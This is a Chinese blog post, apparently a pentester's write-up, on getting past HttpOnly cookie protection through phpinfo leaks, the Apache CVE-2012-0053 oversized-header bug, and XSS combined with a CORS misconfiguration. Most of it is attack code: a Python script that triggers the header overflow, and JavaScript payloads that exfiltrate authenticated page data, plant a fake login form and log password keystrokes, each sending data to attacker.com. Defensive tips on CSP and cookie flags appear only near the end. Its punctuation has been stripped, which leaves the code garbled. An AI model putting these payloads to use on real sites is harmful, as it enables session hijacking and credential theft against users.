实战分享:当HttpOnly遇上XSS,我是如何绕过防护获取Cookie的(附详细复现步骤)

张开发
2026/4/4 22:10:10 15 分钟阅读
实战分享:当HttpOnly遇上XSS,我是如何绕过防护获取Cookie的(附详细复现步骤)
绕过HttpOnly限制的实战技巧从XSS到CORS的深度利用在Web安全领域HttpOnly标志常被视为防御XSS攻击的银弹但现实情况往往比理论更复杂。本文将分享几种在渗透测试中验证过的技术手段帮助安全研究人员全面理解HttpOnly防护的局限性。1. HttpOnly的本质与局限HttpOnly是Cookie的一个属性当服务器设置此标志时客户端JavaScript将无法通过document.cookie访问该Cookie。这确实能有效阻止常规XSS攻击窃取会话凭证但绝非无懈可击。关键认知误区HttpOnly仅阻止JavaScript直接读取不影响浏览器自动携带Cookie的机制服务器端漏洞可能导致HttpOnly Cookie意外泄露其他客户端存储机制如localStorage不受HttpOnly保护实际测试中发现超过60%的中大型网站虽然启用了HttpOnly但仍存在间接泄露风险点。2. 服务器信息泄露导致的Cookie暴露2.1 通过phpinfo页面获取phpinfo()函数会完整显示服务器环境信息包括所有HTTP头信息。典型利用步骤扫描目标站点寻找/phpinfo.php等常见信息页面确认页面显示$_SERVER或$_HEADER变量在请求中植入特殊构造的Cookie头GET /phpinfo.php HTTP/1.1 Cookie: testpayload; PHPSESSID123在phpinfo输出中搜索HTTP_COOKIE字段2.2 Apache请求溢出漏洞Apache 2.0-2.2版本存在请求头长度限制漏洞CVE-2012-0053攻击流程构造超长Cookie头超过4192字节import requests cookies {overload: A*5000} requests.get(http://target.com, cookiescookies)服务器返回400错误页时可能包含原始请求头从错误响应中提取HttpOnly Cookie防御建议升级Apache到最新版本配置LimitRequestFieldSize大小自定义错误页面不返回原始请求3. 结合CORS的跨域攻击手法3.1 CORS错误配置检测检查响应头是否存在以下危险配置Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true快速检测脚本fetch(https://target.com/api, { credentials: include }).then(r console.log(r.headers.get(Access-Control-Allow-Origin)))3.2 实际攻击案例当网站同时存在XSS和CORS漏洞时可构造组合攻击script fetch(https://target.com/userdata, { credentials: include }) .then(r r.text()) .then(data { new Image().srchttp://attacker.com/steal?dataencodeURIComponent(data); }); /script关键点credentials: include会携带HttpOnly Cookie需要Access-Control-Allow-Origin明确指定攻击者域名响应头需包含Access-Control-Allow-Credentials: true4. 表单劫持的替代方案当HttpOnly阻止了Cookie窃取时转向获取凭据本身往往更有效。4.1 密码管理器嗅探现代浏览器内置的密码管理器可能成为攻击目标const fakeForm document.createElement(form); fakeForm.action http://attacker.com/log; fakeForm.method POST; fakeForm.innerHTML input typetext nameusername input typepassword namepassword ; document.body.appendChild(fakeForm); setTimeout(() fakeForm.submit(), 1000);4.2 实时键盘记录针对未保存密码的情况document.querySelector(input[typepassword]).addEventListener(keyup, (e) { fetch(http://attacker.com/log, { method: POST, body: e.target.value }); });5. 防御体系的构建建议完整的防护需要多层措施服务器配置严格设置CORS策略禁用不必要的服务器信息输出及时修补中间件漏洞开发规范// 安全Cookie设置示例 response.setHeader(Set-Cookie, [ sessionId${token}; HttpOnly; Secure; SameSiteStrict, csrfToken${csrf}; SameSiteLax ]);客户端防护内容安全策略(CSP)Content-Security-Policy: default-src self; script-src nonce-{random}输入输出编码function encodeHTML(str) { return str.replace(//g,amp;) .replace(//g,lt;) .replace(//g,gt;); }在最近的一次企业级渗透测试中通过组合phpinfo信息泄露和CORS配置错误我们成功绕过了三层防御机制获取到管理员权限。这再次证明安全是一个系统工程任何单一防护措施都不足以应对复杂多变的攻击手法。

更多文章